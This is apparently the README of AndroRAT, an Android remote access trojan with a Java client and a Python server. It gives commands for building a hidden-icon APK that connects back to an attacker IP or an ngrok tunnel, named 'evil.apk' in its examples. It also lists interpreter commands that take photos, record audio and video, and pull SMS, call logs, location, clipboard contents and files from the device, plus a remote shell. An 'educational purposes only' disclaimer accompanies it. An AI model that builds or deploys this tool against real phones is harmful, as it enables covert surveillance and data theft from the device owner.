A Simple android remote administration tool using sockets. It uses java on the client side and python on the server side
Disclaimer : This software is meant for educational purposes only. I don't feel responsible for any malicious use of the app.
AndroRAT is a tool designed to give the control of the android system remotely and retrieve informations from it. Androrat is a client/server application developed in Java Android for the client side and the Server is in Python.
AndroRAT also works on Android 10 (Q) but some of the interpreter command will be unstable.
AndroRAT requires Python (3.6-3.8) and JAVA 8 (or Android Studio)
git clone https://github.com/karma9874/AndroRAT.git pip install -r requirements.txt
While cloning the repository using Git bash on windows, you may get the following error:
error: unable to create file <filename>: Filename too long
This is because the Git has a limit of 4096 characters for a filename, except on Windows when Git is compiled with msys. It uses an older version of the Windows API and there's a limit of 260 characters for a filename.
You can circumvent this by setting
git config --system core.longpaths true
You must run Git bash with administrator privileges.
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Uninstall) > Note: In order to use this feature in some devices you need to enable the option
display pop-up windows running in backgroundfrom the settings.
--build- for building the android apk
--ngrok- for using ngrok tunnel (over the internet)
--shell- getting an interactive shell of the device
Usage: python androRAT.py --build --ngrok [flags] Flags: -p, --port Attacker port number (optional by default its set to 8000) -o, --output Name for the apk file (optional by default its set to "karma.apk") -icon, --icon Visible icon after installing apk (by default set to hidden)
Usage: python androRAT.py --build [flags] Flags: -i, --ip Attacker IP address (required) -p, --port Attacker port number (required) -o, --output Name for the apk file (optional) -icon, --icon Visible icon after installing apk (by default set to hidden)
Android Studio -> Build -> Generate Signed APK(s)
Usage: python androRAT.py --shell [flags] Flags: -i, --ip Listner IP address -p, --port Listner port number
After running the
shellmode you will get an interpreter of the device
Commands which can run on the interpreter
deviceInfo --> returns basic info of the device camList --> returns cameraID takepic [cameraID] --> Takes picture from camera startVideo [cameraID] --> starts recording the video stopVideo --> stop recording the video and return the video file startAudio --> starts recording the audio stopAudio --> stop recording the audio getSMS [inbox|sent] --> returns inbox sms or sent sms in a file getCallLogs --> returns call logs in a file shell --> starts a sh shell of the device vibrate [number_of_times] --> vibrate the device number of time getLocation --> return the current location of the device getIP --> returns the ip of the device getSimDetails --> returns the details of all sim of the device clear --> clears the screen getClipData --> return the current saved text from the clipboard getMACAddress --> returns the mac address of the device exit --> exit the interpreterIn the sh shell there are some sub commands
get [full_file_path] --> donwloads the file to the local machine (file size upto 15mb) put [filename] --> uploads the file to the android device
To build the apk using ngrok which will also set the listner:
python androRAT.py --build --ngrok -o evil.apk
To build the apk using desired ip and port:
python androRAT.py --build -i 192.169.x.x -p 8000 -o evil.apk
To get the interpreter:
python androRAT.py --shell -i 0.0.0.0 -p 8000
Some interpreter Commands
AndroRAT is licensed under MIT license take a look at the LICENSE for more information.